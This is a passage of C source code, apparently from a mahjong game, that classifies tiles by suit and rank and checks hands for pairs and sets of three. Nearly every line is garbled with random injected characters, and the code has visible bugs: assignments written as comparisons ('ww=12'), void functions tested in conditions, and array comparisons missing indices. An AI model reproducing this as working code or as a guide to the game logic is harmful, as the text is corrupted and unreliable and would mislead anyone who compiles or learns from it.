else if(computer.pp[c].number&lt;=43 &amp;&amp; computer.pp[c].number&gt;=40)
% D) _1 u; a" t* v) W3 `, \3 qlogoo=2;
$ m1 q2 q! M2 i5 ?; Nelse if(computer.pp[c].number&lt;=47 &amp;&amp; computer.pp[c].number&gt;=44)
! c2 {6 y2 ^7 z8 K9 I, b6 n) glogoo=3;
  Z( [* ~0 o( ]0 I0 A/ `6 G' Ielse if(computer.pp[c].number&lt;=51 &amp;&amp; computer.pp[c].number&gt;=48); n4 _4 @* Y  S2 y" i
logoo=4;
, _6 z" v" f% o. R. ^# }# \else if(computer.pp[c].number&lt;=55 &amp;&amp; computer.pp[c].number&gt;=52)0 t. e$ m0 v; Q2 e& ~
logoo=5;
1 D, T( A7 X7 W: Selse if(computer.pp[c].number&lt;=59 &amp;&amp; computer.pp[c].number&gt;=56)
" d8 x( n8 j* j# zlogoo=6;
/ x5 s1 B6 p" h/ b. D/ [0 B' Selse if(computer.pp[c].number&lt;=63 &amp;&amp; computer.pp[c].number&gt;=60)
% i" g) G2 r) T/ p; qlogoo=7;  m) J5 o& g! K8 y$ i! N
else if(computer.pp[c].number&lt;=67 &amp;&amp; computer.pp[c].number&gt;=64)
% ?( C4 g& V) S. \9 Dlogoo=8;
0 V) P9 r, j" ?9 U7 belse if(computer.pp[c].number&lt;=71 &amp;&amp; computer.pp[c].number&gt;=68)9 }! \0 ^0 \* ^0 Y$ \! ^
logoo=9;
' r2 b) c6 X$ t  p}' [  E( `  ~- C1 a2 A: n
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=72)# ^2 x8 H8 u1 e7 s2 A; S/ I3 C; l
{7 t2 T* O8 d& @$ |4 p3 P
logo=3;$ q  V, e6 }) N0 y
if(computer.pp[c].number&lt;=75 &amp;&amp; computer.pp[c].number&gt;=72)7 N: u% e$ [; l
logoo=1;1 h* C; m7 g6 l$ [
else if(computer.pp[c].number&lt;=79 &amp;&amp; computer.pp[c].number&gt;=76)
/ `5 c. f, n6 e( @- f7 e2 `' ilogoo=2;" M( k; e3 C4 j% i
else if(computer.pp[c].number&lt;=83 &amp;&amp; computer.pp[c].number&gt;=80)$ m9 F4 n, n8 w& m, \0 j0 v! u, _) S
logoo=3;
) {2 W( ~' S7 melse if(computer.pp[c].number&lt;=87 &amp;&amp; computer.pp[c].number&gt;=84)
- N' m5 _2 k- W5 g' Ilogoo=4;
0 A, M& |3 ^" F( @$ C! A+ Nelse if(computer.pp[c].number&lt;=91 &amp;&amp; computer.pp[c].number&gt;=88)' [6 R' S( O7 T: M
logoo=5;
4 N8 f$ e' b9 Y0 C" i& gelse if(computer.pp[c].number&lt;=95 &amp;&amp; computer.pp[c].number&gt;=92)
4 `' x5 E" W( ^" Q. i8 \! n; Ylogoo=6;) F% b6 y9 }( c. G. Z
else if(computer.pp[c].number&lt;=99 &amp;&amp; computer.pp[c].number&gt;=96)8 @" ]) E! G5 f" M
logoo=7;' j2 X! w, O6 z0 V' r8 @; N: z
else if(computer.pp[c].number&lt;=103 &amp;&amp; computer.pp[c].number&gt;=100)
) ?, j0 u. t7 O: u' P% r1 [logoo=8;! s! s6 e/ \: @) B( Z
else if(computer.pp[c].number&lt;=107 &amp;&amp; computer.pp[c].number&gt;=104). A% s3 T' @8 ^0 G5 ]' U$ u
logoo=9;5 O( \9 U: m; f
}% p2 z3 C- s4 I6 T% S
else if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=108)
- M: Z$ K) w3 z+ F& X/ i+ P1 Y' E  U{
# V1 F  J: v& o  h9 M, jlogo=4;( i9 M% j! J, e, t, r0 F
if(computer.pp[c].number&lt;=111 &amp;&amp; computer.pp[c].number&gt;=108)
5 e4 q; j: u5 f5 F+ Ilogoo=1;
7 j  J: t* j" r! U7 a$ j) Zelse if(computer.pp[c].number&lt;=115 &amp;&amp; computer.pp[c].number&gt;=112)& D4 p3 p3 F- r" B4 N+ r
logoo=2;/ l& y" F& N" `: ?+ b7 I3 _. g' j1 b
else if(computer.pp[c].number&lt;=119 &amp;&amp; computer.pp[c].number&gt;=116)
' {$ R' r; H8 _7 }logoo=3;
' ]( t( S: U% l% G* v6 V* ]! gelse if(computer.pp[c].number&lt;=123 &amp;&amp; computer.pp[c].number&gt;=120)8 r4 Q8 p5 h5 ~8 A0 y  \  `6 n& Y
logoo=4;3 _# \; A9 `* ~; B$ X+ X4 k* G
else if(computer.pp[c].number&lt;=127 &amp;&amp; computer.pp[c].number&gt;=124)7 g3 i" m4 Y* `4 l
logoo=5;
* _1 G4 I; l- N# n; |1 `; l6 Gelse if(computer.pp[c].number&lt;=131 &amp;&amp; computer.pp[c].number&gt;=128)
+ H2 l& o0 `# [, N/ l3 Rlogoo=6;
6 V# T2 U" F  velse if(computer.pp[c].number&lt;=135 &amp;&amp; computer.pp[c].number&gt;=132)
/ |0 N) S; u% k& flogoo=7;
" }! ^  N  ~0 R; V( H! U}5 z7 p8 L- U7 N" ?& z8 \
while(b&lt;=me.m)3 [: G5 P8 @  ~' C3 c$ z
{# m! P. K" f$ Q
if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=0) /*我分析后出了第一张牌*/- K; `8 P: Y" ~4 M+ x6 |
{
7 U& Z& `; J* x: Klg=1;9 k2 L- ?9 a% N6 L* ^
me.pp.d[0]=1;) r* c4 L8 A1 k/ _3 Q/ y
if(me.pp.number&lt;=3 &amp;&amp; me.pp.number&gt;=0)
! x' F! d7 s9 D$ o  ^. W' d' v{4 d2 ^2 Z! a8 B: N# d4 j
lgg=1;3 X1 w& J  t" w' F7 p
me.pp.d[1]=1;0 o7 A: Q% X) |& c0 M
}
$ s& s1 ?) e- z/ velse if(me.pp.number&lt;=7 &amp;&amp; me.pp.number&gt;=4): T* y9 o0 E( M9 |) B" P! N! I$ z
{
* ]& H2 B5 |/ h6 |0 M7 c. tlgg=2;
" |6 h- `: M6 b5 N5 }me.pp.d[1]=2;
, U# g) ~$ l5 I}
' l! B  b9 a6 C. d5 melse if(me.pp.number&lt;=11 &amp;&amp; me.pp.number&gt;=8)
: G' K; x/ s% ?. |% _1 ]! k{
5 H! A/ V% B, e* G, F/ p: Tlgg=3;
  K, E, D6 m2 E& ?' }me.pp.d[1]=3;
9 ]! y( U  k4 v3 c}6 l+ O4 T5 q  g  A* d
else if(me.pp.number&lt;=15 &amp;&amp; me.pp.number&gt;=12)
& t& ^: ^* I# V{
6 w& M+ P6 m4 }$ q' c' A+ w& klgg=4;( b& L& n9 r# q& o; B
me.pp.d[1]=4;
8 A8 ~6 L: R+ X1 E8 {}
6 S2 l( T8 |* uelse if(me.pp.number&lt;=19 &amp;&amp; me.pp.number&gt;=16)  d, c7 x% _5 n4 A
{& c0 m' O7 l- P( a0 O, _$ `
lgg=5;4 `. N. S4 o' O" X- O& ?
me.pp.d[1]=5;
: c  ?( |! Y5 F$ p1 R' t}
% r6 c4 k2 V% G4 H+ u- }, delse if(me.pp.number&lt;=23 &amp;&amp; me.pp.number&gt;=20)
  U( B7 E1 T) W8 ], r1 A! {4 L{
, O( ?- N  W! K1 |! o, g5 Llgg=6;
' ~; d, w: V! ~* S! xme.pp.d[1]=6;) O: P7 H: w- L! O* P3 e5 r: l9 U/ X
}, m: f/ o- q& G& H8 J
else if(me.pp.number&lt;=27 &amp;&amp; me.pp.number&gt;=24)- U, ?9 A% e' ~' `0 K- E5 i
{) J: _8 i9 C5 g- @; F; p3 l  S
lgg=7;4 H! B+ M7 f2 g+ a# {/ H
me.pp.d[1]=7;$ z. c0 ]$ E, W1 @" x( l
}$ D+ ]  j; R8 f) n$ k
else if(me.pp.number&lt;=31 &amp;&amp; me.pp.number&gt;=28)' [5 B* R1 O& s/ x" ?
{% c% Z4 i# _. b
lgg=8;
# n) C1 T/ {7 l$ N. j  g. ^. s5 Jme.pp.d[1]=8;: e+ a9 ?9 y2 o1 C  A( n/ d3 Y
}  G; Y8 D' i; i. @8 E" S. O2 w
else if(me.pp.number&lt;=35 &amp;&amp; me.pp.number&gt;=32)
% ^3 L. t- U' s* j" _) g  h7 {{
( e) [9 _- q/ C6 Dlgg=9;
; m9 ~) `7 s( V! zme.pp.d[1]=9;& p9 F/ |# B5 U( Q4 W5 U* O
}+ V0 H% \# b% v2 y
}
( h4 v! f) Y  D7 W. @+ G1 melse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=36)
9 s* v% `) l8 G7 y* r7 S% p$ p{) I( ?9 H, V# U) Q, W
lg=2;5 |: h+ z) L6 [3 ^9 l- f
me.pp.d[0]=2;" X1 g3 o, Q: P. j6 ~$ o; j  O% w
if(me.pp.number&lt;=39 &amp;&amp; me.pp.number&gt;=36)
" m" w5 O# O5 W* z2 u% [{5 n9 b0 |# s$ f; I' g7 W9 }
lgg=1;
1 P$ B# J% H# G. `me.pp.d[1]=1;/ g8 @/ K( R3 {% ?0 a
}
5 e2 \4 T" w5 M7 y: Pelse if(me.pp.number&lt;=43 &amp;&amp; me.pp.number&gt;=40)
, N  a6 U, T" h{& D- G; N+ A3 N8 I' s4 y9 j
lgg=2;7 r  z& q% ~3 \
me.pp.d[1]=2;. y2 x1 i+ h$ k
}7 b% v3 P" l. v8 n3 @0 b
else if(me.pp.number&lt;=47 &amp;&amp; me.pp.number&gt;=44)! }4 |. F! d5 _7 Q  I
{" B! s. y" e& @5 Y0 t0 ~
lgg=3;3 J) y9 |/ b, B* V1 x: s
me.pp.d[1]=3;' |5 t7 U* ~0 y( L; {3 s7 j- b( S4 B
}9 O3 b+ k- s% h- b* w$ ~
else if(me.pp.number&lt;=51 &amp;&amp; me.pp.number&gt;=48)4 g6 z/ Z% \' {; p8 r2 c* P6 ]
{& z, S' {* P6 k( \2 h
lgg=4;
, j" w" H% r: x) K; S; j5 Ame.pp.d[1]=4;
* x: A2 ?, D: v}6 u8 g# V4 y, x( U$ C1 G0 _8 K$ Y
else if(me.pp.number&lt;=55 &amp;&amp; me.pp.number&gt;=52)6 b4 B, M$ W  r( x
{
" T2 Y( O7 }2 f  Rlgg=5;1 n' w3 `1 e6 S: y# S# i' j
me.pp.d[1]=5;
; T% r+ Y+ Y5 E( l, A% e! B2 u8 z}* U# y: w3 A  _' b
else if(me.pp.number&lt;=59 &amp;&amp; me.pp.number&gt;=56)" N5 [7 T0 i# e' y
{
& n3 L6 @- i/ O2 algg=6;
# U8 L2 A) b" Gme.pp.d[1]=6;
' u4 `' k: g+ H4 }, w}
9 y) I8 u7 F7 D% l7 \5 Yelse if(me.pp.number&lt;=63 &amp;&amp; me.pp.number&gt;=60)$ I9 t9 \3 E, z# v9 x( a
{
' x; L; ]0 d6 H1 Y$ Llgg=7;9 b9 q/ J; O% D/ l7 @
me.pp.d[1]=7;6 p' }1 d. l% l# \; S* P
}3 t! h- g5 D& F8 A7 l1 j
else if(me.pp.number&lt;=67 &amp;&amp; me.pp.number&gt;=64)6 E, W0 t7 z- o  E% Z% i
{
- p2 q( |/ T# U. X# _! Dlgg=8;9 ~. l( a* z4 P. }1 b9 X/ S* H
me.pp.d[1]=8;. a* q  T/ I7 l$ }
}
7 k* `/ B$ m6 n4 I8 nelse if(me.pp.number&lt;=71 &amp;&amp; me.pp.number&gt;=68)* Y2 a2 J- K+ K- e9 N- a
{7 a6 o* {+ D: x9 V. G
lgg=9;( Z& S* u3 w7 _; E6 q
me.pp.d[1]=9;
. X) F8 [5 z: V5 n' ^+ X' ~3 ?/ J}. F, g  v) E3 y9 ]- ~% T2 f! f
}
* H" h  s6 d1 i( |else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=72)
! N- r+ s+ Z* s/ ]{
& V- H! C& v' B. T6 g6 Y) olg=3;8 H# X/ M! B+ y2 I. k& r+ j
me.pp.d[0]=3;) @2 A. c9 Z# J# S* f
if(me.pp.number&lt;=75 &amp;&amp; me.pp.number&gt;=72)
5 A$ J( P) X) t. @{
4 K0 [* w+ u9 a8 Mlgg=1;
% c7 \" g- S# Z7 M$ Mme.pp.d[1]=1;/ R! Q6 m( W9 k9 Z
}8 L  p( C3 c$ v! \
else if(me.pp.number&lt;=79 &amp;&amp; me.pp.number&gt;=76)+ Q/ z  W: [7 Z
{4 [1 D" c0 ]1 e" W
lgg=2;8 o+ _! |7 _1 r4 b( ~! J
me.pp.d[1]=2;) l4 Q, D! R5 W; E" p) ^/ v* b
}) E. t) w. N- }9 C) r4 ?8 T
else if(me.pp.number&lt;=83 &amp;&amp; me.pp.number&gt;=80)
  D# L6 j3 F, V" q{
  o# ]& f* K8 {8 P; H6 l8 qlgg=3;
6 j: r8 I/ @- V. Sme.pp.d[1]=3;0 V( I7 w/ p" O" e, v9 a
}
6 F, a7 Q2 O# Xelse if(me.pp.number&lt;=87 &amp;&amp; me.pp.number&gt;=84)
- u4 a( U( W6 v+ x{
2 b3 y' |/ ?* B% C# llgg=4;( e! ^: g4 _- ~6 P! h3 y& M
me.pp.d[1]=4;
3 U" e& a# J' g7 V" w}$ p- j1 Z4 P* }: ^" }
else if(me.pp.number&lt;=91 &amp;&amp; me.pp.number&gt;=88)
3 q# W# a7 \/ h/ i' }{
3 Z& }- M+ B$ L5 Dlgg=5;
9 b  }9 |* W1 t: {9 |0 U: C7 \$ gme.pp.d[1]=5;
, T+ L+ u+ s- L& c( M2 U* o* W% x}
6 Z5 f" s6 `5 O* J% r3 G+ Selse if(me.pp.number&lt;=95 &amp;&amp; me.pp.number&gt;=92)
1 n# a" v- P$ e. H{
1 R0 P$ d% W, L1 d  \2 Ylgg=6;
2 ^9 a% O" N  b$ o: K1 @2 Pme.pp.d[1]=6;
$ \4 E2 S# A# w/ ?}* o! l$ S1 J; ?. C% |9 W  b
else if(me.pp.number&lt;=99 &amp;&amp; me.pp.number&gt;=96)* i& R' i+ I' n. }* a4 T6 o
{
4 V6 \. d( [* d0 y' n# O  q2 Xlgg=7;
9 I+ s$ `4 q# x0 wme.pp.d[1]=7;+ Q  m$ c: `$ |8 r3 W
}
+ F) `- @4 y( M6 F- h2 Lelse if(me.pp.number&lt;=103 &amp;&amp; me.pp.number&gt;=100)
/ j5 Q6 m% I2 F{
. Q- R& f" {0 H8 Zlgg=8;$ {% p$ b9 S1 r$ n) I: ]" P; R
me.pp.d[1]=8;
" S. J, J; j8 ?8 `5 W% _}/ }8 g( W: |7 `8 g& {0 Z, R
else if(me.pp.number&lt;=107 &amp;&amp; me.pp.number&gt;=104)$ J6 F  ^! d( m+ \/ c0 P
{
. O. R% D: Q9 V; B! H- @5 xlgg=9;3 u% b2 V; x5 a) O' Z
me.pp.d[1]=9;
. L. T* k1 F' Q; V% j}
+ y4 N  l5 _* [5 a}) k2 Y( G5 C( c( {. y
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=108). I) A+ y+ G8 V" s4 k2 J7 o
{/ C1 H5 O- M* [/ u# z$ ^) \
lg=4;# Z" q8 @# k$ m( z2 E! q# ?
me.pp.d[0]=4;
, ~) d8 {. ~& z0 P# ^& pif(me.pp.number&lt;=111 &amp;&amp; me.pp.number&gt;=108)+ X5 u, B- b/ i9 i
{4 i: U7 f7 {. h
lgg=1;' V* c9 T- ?$ Q0 U! p. g
me.pp.d[1]=1;
# D3 D% ~/ v9 K+ G6 |; I5 _}
% y# o9 w) O3 melse if(me.pp.number&lt;=115 &amp;&amp; me.pp.number&gt;=112)
* c' F' a/ w0 q' n. T1 @5 n{
; Z# A7 D# f3 Z* s. V# J( @lgg=2;3 u1 Y) d, u  b  {. ^
me.pp.d[1]=2;
$ H, E6 c+ @& V}. f6 s) m4 t  }, c& q0 _) G
else if(me.pp.number&lt;=119 &amp;&amp; me.pp.number&gt;=116)
: J0 Q- n2 ^9 s1 T{% v3 O1 H" S$ Y# o
lgg=3;" ]. Q# E3 s( w$ M" L: t
me.pp.d[1]=3;5 _8 e. l1 J) d+ ]% Y  B2 b
}# Q6 [; e9 |( E
else if(me.pp.number&lt;=123 &amp;&amp; me.pp.number&gt;=120)
& E  F9 i# Z2 C! S" `{
  j/ f+ O2 X+ K( W4 k; ?9 Wlgg=4;
/ m4 ^5 S  L+ ^/ ^me.pp.d[1]=4;; ?$ p* {, ~( z  X" }$ s
}
. z3 N9 z* x1 f, f6 s; eelse if(me.pp.number&lt;=127 &amp;&amp; me.pp.number&gt;=124): g  m$ n& D3 @3 T. }
{( g2 X8 A4 D% p
lgg=5;
( u" K7 d$ Y, J# p0 r, R" _me.pp.d[1]=5;# G3 K5 x' F' ^7 w2 c  w! L+ u' [- q
}7 R, [' c5 r  g: m, U6 P7 [0 k
else if(me.pp.number&lt;=131 &amp;&amp; me.pp.number&gt;=128); [7 Q* U2 t' F1 l" |' k" d
{
0 E3 m" _5 I& q6 _* ?lgg=6;* G8 V7 T+ L& W+ \5 d0 l
me.pp.d[1]=6;
! \! M1 ~& e3 u% h}) Z$ b% `9 q+ K
else if(me.pp.number&lt;=135 &amp;&amp; me.pp.number&gt;=132); l7 N% _6 f% s5 B7 m1 D4 U. s/ k
{
7 k3 L0 x) S5 u& {; Rlgg=7;
; V" p3 W% t$ b; _* H, R( ume.pp.d[1]=7;6 }/ J9 Y$ a2 }
}0 @/ P) [- D4 S/ ]6 A) ]# s0 M+ w
}
5 F7 t" c& ~1 s3 t5 f$ \7 }}
6 z; z- B0 U% @. B5 a}! v" F% h' @5 C; c$ P
void istwo(testt)' C) Z6 ^6 G, ~2 B
int testt[];
7 x9 k  S, [" ^  k3 A3 [9 e; D9 P* s{ if(testt[0]==testt[1])& j4 G8 J+ R0 O0 }
second++;
0 m0 E% K& N; Y) y: I# A}( @; k% C* q* O
void isthree(testt,n)2 e- \7 v  k! w/ G# X2 L
int testt[],n=0;
3 R% u) X2 m/ n7 }7 y$ G" d) o6 e{ int i,j,flage=0,lianx=0,same=0;
6 e0 g6 k; W2 p! p. g/ M; b) an=n/3;% A+ _  I6 C- }( B
for(j=0;j&lt;n;j++). H; i  G( F! {* K3 e; I& m5 N* I
{
$ O( x# ?$ `2 N+ P  B+ L! bfor(i=j*3;i&lt;2+j*3;i++)
8 }+ d0 ?- x3 U+ R2 K1 i{5 x& i/ Z" @; c2 T  J2 s
if(testt==testt[i+1])
, l8 }- X& K4 [same++;% P, f9 T6 c6 o( i7 G
if(testt[i+1]-testt==1)* a% n6 y& S+ i$ m" Q) O; W
lianx++;# L1 G% L0 h4 W2 y
}. y; m) ]- \; t2 ?5 a/ {
if(same==2)
$ U- W7 {& h" g3 o: [( O! q9 r% `7 O$ ~threes++;
8 y' o. z2 y  e: K/ Mif(lianx==2): \  n, _' C9 A% l/ h/ E
threes++;! s& I6 u& e0 c- Q: ~7 E
same=0;
" Y, P+ g) f8 L3 @lianx=0;
. }, P$ t7 V' f, o( y}
5 G/ @0 D& j, ^" {3 ]. k8 Q}
1 `7 O! Z) h. R, I8 wvoid panduan() /*本程序的精髓*/* i  Z( M: |6 k6 E$ X0 O
{int data[14];
4 z! P" F4 @$ Z. S; Xint pw[14];
  Q( c/ s9 b. L! E1 Gint pt[14];
5 r$ A$ J" a$ Oint pi[14];
7 ?, B" t1 g5 X7 i" Nint pf[14];
! y! P0 P/ p, f$ `1 @8 C3 [int test[12];1 o/ W6 K) j6 }  v9 G8 r
int jj,w,mm,nn,tpp=0,lp=0,ww=0,tt=0,ii=0,ff=0;ill=0;& E. r& h) f" {1 x3 l7 n9 R
for(jj=0;jj&lt;=me.m;jj++)! g: B8 }/ p) w  A  N% k
{+ A: b; ?0 v3 |: j3 B) S' y9 f
if(me.pp[jj].d[0]==1)$ F, c  W5 R4 i6 K
data[jj]=me.pp[jj].d[1];, A% S: ~! l' o! U5 c7 Y3 f
if(me.pp[jj].d[0]==2)% \/ T' g/ w- l* [
data[jj]=me.pp[jj].d[1]+10;
% i" `9 g6 R6 i. ]if(me.pp[jj].d[0]==3)
' ~* w& f2 r3 S; S% ^* o$ Qdata[jj]=me.pp[jj].d[1]+20;
: f5 s3 H5 A$ K, O2 _if(me.pp[jj].d[0]==4)
6 l/ H7 U$ w1 G% r  Pdata[jj]=me.pp[jj].d[1]+30;7 j, @( }7 V" w) _8 E9 [: W  d
}
0 G0 f( _, v# ~& \1 d& Sif(logo==2)
$ j! b' ]  V2 t: ww=logoo+10;& I+ i) N' d7 o9 E8 R$ D5 G
if(logo==3)$ [: w! x5 W4 M5 D
w=logoo+20;
. g- ], J- y0 q. e: J7 G0 }if(logo==4)
. Z2 q# ]. Q! _( V* D# `- g; Uw=logoo+30;0 f, `1 n/ z& B* ~
data[computer.m+1]=w;  q5 ~/ s3 [( o* n3 _$ m( o' X$ Q) ^: @
for(mm=0;mm&lt;=computer.m;mm++)2 o' L$ {) g  E+ O
for(nn=mm;nn&lt;=computer.m;nn++)3 E( r, ~2 z8 ]& |4 j. P
if(data[mm]&gt;data[nn+1])
1 m; B$ c$ ^8 v1 J{
# ~9 {) `5 Q6 ^1 U  qtpp=data[mm];! V0 n8 S& P7 H; [
data[mm]=data[nn+1];) e  s  {- f3 o" W
data[nn+1]=tpp;
# b/ U! t4 E! `7 f! }, r}
+ W7 b& m& z& A) Z4 T+ hlp=0;
1 @& q3 @+ l1 n0 J( A9 R5 q. F/ nwhile(lp&lt;=computer.m)
# k  j7 H; W# c4 u" w{ if(data[lp]&lt;10)  ?! x1 F/ k1 O
pw[ww++]=data[lp];
8 K- P! v# g8 x2 H0 H5 {if(data[lp]&gt;10 &amp;&amp; data[lp]&lt;20)
! \# n1 S- V( F8 k$ Dpt[tt++]=data[lp];) r$ T0 i- M6 k1 c  e( S/ g1 @7 c
if(data[lp]&gt;20 &amp;&amp; data[lp]&lt;30)
3 b$ n3 V6 Q, U4 hpi[ii++]=data[lp];5 k7 K7 t! V/ L  f& Y3 |  k
if(data[lp]&gt;30 &amp;&amp; data[lp]&lt;38)
- U& T& v5 H: `4 X* L) Y$ ?pf[ff++]=data[lp];# V$ O; c4 A9 Q1 V" p+ o! v+ L- z
lp++;- L! h0 C  |3 `6 W
}' P+ O1 a, ~. c/ X
if(ww==2), B- q. v7 _* e0 T  @4 a. K6 ?
istwo(pw);5 C6 V" N) H5 N: ]6 T7 l5 I
else if(ww==3)% J! C. s+ o( V  y
isthree(pw,ww);
* h. [( \" D% E' B( M* {9 Felse if(ww==5)
' I+ ~2 A3 f1 m4 v5 ~' z/*pw[5]原始牌数组,假设已经升序排列*/( c4 O) D: X$ j: v! r+ x0 _( G2 m0 o
/*test[3]用来放置测试牌的数组*/
- e2 U( N3 B8 cfor(i=0;i&lt;4;i++)
" _5 v& j5 W# M{( y8 g2 e! q, m; i4 n. R4 k
for(j=0;j&lt;2;j++)" j" _& s, u1 B- z9 C" L
{test[j]=pw[i+j];' D" ^$ T9 g0 i' l2 Q( Y
}- q2 j  h  U$ ?5 i6 h3 L; `
if(istwo(test)): V8 Y( z6 m: q2 k" ^
{ ill=0;# V/ _# g) Y1 x4 g
for(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
4 @' n& M0 h/ {& e. c( e7 i% V{if(kl==i)
7 |! p( S5 `8 N+ j{
6 f3 A$ W8 G. i4 _6 S* rkl=kl+2;
/ @- J! T0 N$ j' `( Hif(kl==5)" G6 a1 j+ B0 L, _5 Z- v4 a' }$ C& A5 K
break;5 q$ a1 ]6 |% T$ A+ G+ H
}
/ t  t5 L7 Q* m$ t' _8 M- w" ?test[ill++]=pw[kl];: \% K% }, i+ O- w% e: ]4 g: @: E
}
9 _3 W3 |8 S6 v- H- {. ?9 n8 H' R+ nisthree(test);6 ]: y2 s/ X6 ^9 q7 G; k( n+ \
}6 x- k1 N( X# x% D7 {4 ]5 ~$ \
}
$ w  L: @: v! A/ X4 Q- b& @else if(ww==6)
& n; v( P/ z% M2 cisthree(pw,ww);
( X/ x4 E) K! f. V2 K, melse if(ww==8)& O1 O: d% Z/ Y5 m+ U0 \
for(i=0;i&lt;7;i++)) Q7 ~; L8 u* {. e! _3 Y+ c
{+ u$ g; l  @9 _2 K: N
for(j=0;j&lt;2;j++)/ ~4 J4 _2 F+ f
{test[j]=pw[i+j]; 9 `  N/ r4 x; ^( u
}
+ q% j" J7 Z1 k, G" ?if(istwo(test))
$ O6 S. W6 W5 w# |/ o{ ill=0;
/ a7 v8 g" [- }- Rfor(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
9 j8 t! G$ v" t{if(kl==i)
- f- H' d- O  p7 L3 `8 @% O3 c5 _{
: Y" w2 Z$ K! lkl=kl+2;
! U  U  H8 E  W* x+ u3 N! fif(kl==8)* w9 \$ S" T: a* `% ^
break;# L4 Y: x0 h% [, G# X6 h
}! k, P. `6 V+ W" i
test[ill++]=pw[kl];
3 P" B  Q9 O+ q( A0 _; P" H}0 a4 _: w; t5 Q; X0 y# ^
isthree(test,ww-2);
% ^4 i' ]$ ~' h2 {9 v( a7 Y. H5 k" F}9 ?" T+ k2 ]  {
}
" Y. d& L! Z5 C: G2 Qelse if(ww==9)- h  e8 y0 E, _
isthree(pw,ww);3 V  e9 ^- R4 V. Y, U" E
else if(ww==11)
' w- ]& L+ Q; E2 X' dfor(i=0;i&lt;10;i++)
# ?7 u, Y! v% j; u( F/ }8 s{
* e5 `; b% w6 Yfor(j=0;j&lt;2;j++)
: M3 t, L0 l8 K; W' f$ m{test[j]=pw[i+j];
9 h2 B, O% k; ]}
9 y/ C( g+ s8 Q! h% Z' Zif(istwo(test))
& [( ~- u4 B8 X2 R{ ill=0;9 c) r, A: T1 R) E
for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/
: T4 g6 u, u3 X( c# Z+ k: M{if(kl==i)
1 k8 a0 [$ h8 g{4 P" m- Z, d" C% ~- A( R8 X- O: t
kl=kl+2;
, c6 Y5 u9 E* V$ cif(kl==11)
8 s# Y4 M6 }( p& n$ T7 M4 Vbreak;! k7 R5 E; j9 S6 i2 T3 \& s
}
2 Y9 u. x$ D5 Y1 C( O/ Y: w3 gtest[ill++]=pw[kl];
, n+ W7 P8 E( D( j2 i}
: f: `- c; ~" T; ^isthree(test,ww-2);
. [; P* q1 _  p}
  ^6 Q& }( n0 n$ m}
% ^' o2 r. j$ X7 x' e; Telse if(ww=12)( w! T8 q; V! Y5 ~4 ?9 z3 @
isthree(pw,ww);. u# q2 V  F3 e
else if(ww=14)/ \. c7 c; `/ o) |' d) ~' G
for(i=0;i&lt;13;i++), Z4 @8 z  W) k" W
{! C& p$ ?3 E+ T* P! R  o' g
for(j=0;j&lt;2;j++)) S4 u0 v$ _2 d8 @) h
{test[j]=pw[i+j];1 k4 S) t1 [, E7 y( c/ u
}, D) N6 `% _4 V5 `, P
if(istwo(test))
8 u7 A! o8 d4 T" u{ ill=0;
0 Y0 S% p$ w9 [for(kl=0;kl&lt;11;kl++) /*把不在test数组中的九张放到test数组中*/% b8 P5 `: n) _+ a
{if(kl==i)
& ]! W! x1 g7 o" s/ a& F  P{
5 g8 N  H5 Z2 x" P, i1 T/ H3 Rkl=kl+2;& p5 p7 \* w! [3 b9 v
if(kl==14)
: l9 k' c8 I6 f. T. vbreak;
1 q& t9 s" K% d# H: M; D# s0 n}3 v2 C3 V& P4 g& K9 E
test[ill++]=pw[kl];
8 m1 s7 r7 E' s$ M& }% X- Q  i1 P, q}; z9 m* n8 `4 j
isthree(test,ww-2);
7 j- d7 O0 o5 f0 f( k' Y9 |}
; A9 I) {; F" _; S}
; D. p* y9 C; Y: L+ Vif(tt==2)
; X# g$ `- t6 Iistwo(pt);
5 z3 O! k) I5 x7 a& O% \( M# ]4 nelse if(tt==3)
) i% @- \- f  e+ p! Misthree(pt,tt);" q. ~5 M7 a1 G& o2 o( k+ [
else if(tt==5)
# J2 p2 n3 r3 ]; b/ o/*pt[5]原始牌数组,假设已经升序排列*/
( m( U# M3 [. a4 c7 }$ |/*test[3]用来放置测试牌的数组*/1 v- x' u$ l7 F$ A; c
for(i=0;i&lt;4;i++)8 f2 d, v$ @, g! O' z" \3 U
{$ n, p  Z( |$ ^- x) i/ u  b  [8 ~9 x
for(j=0;j&lt;2;j++)
8 }6 l) p+ Y( M- h) g3 m{test[j]=pt[i+j];
1 a8 x8 w- ^, U}
, b; v% O# [  y7 M9 f' U. Lif(istwo(test))  P, Y0 k% Z8 U2 m+ p% v
{ ill=0;
, n3 g- g* r. E4 lfor(kl=0;kl&lt;5;kl++) /*把不在test数组中的三张放到test数组中*/
2 \2 L9 p3 H4 z- l2 Z$ D{if(kl==i)) s2 g" Y8 g) |- V
{$ b* H; ~& ^9 A8 \' p6 J, d  x* s
kl=kl+2;& S$ z, \! [' V. D3 A" _" i
if(kl==5)3 E3 F( Y3 f% p
break;
! |9 ^0 N/ r  |, l+ ]" N1 Y}% S  b6 s* S% e$ M) c
test[ill++]=pt[kl];5 D1 o: p% G6 @- Z$ N$ u
}
/ {/ ?. h  f4 w/ R# histhree(test);
3 U" O; U, P. r% u6 Q8 N1 ]}
3 p/ x; y9 G" W, g; @$ G2 b+ s}
' n$ f& T7 J0 G9 B2 k: b' m" ^else if(tt==6)0 U  A# C9 l& q/ _( J
isthree(pt,tt); 8 U7 y2 e# o: r  R& c/ H; C
else if(tt==8)" H- _5 F* x) w0 c% t* `* s
for(i=0;i&lt;7;i++)' V( q6 N% i5 G9 `$ y
{
& P, e: o, x. B$ i% c# A+ h  e9 efor(j=0;j&lt;2;j++)- U% S3 l3 A% S$ t- ]! G7 c
{test[j]=pt[i+j];
3 z3 k) W3 s$ e# k) i( F1 s}
$ p; q1 J3 Y7 z3 B# eif(istwo(test))
# E% H3 b( G- ]/ |- m  a{ ill=0;4 `( s* K0 k* v* w2 c$ F" R+ a
for(kl=0;kl&lt;8;kl++) /*把不在test数组中的六张放到test数组中*/
  e5 R" @2 k8 @{if(kl==i)
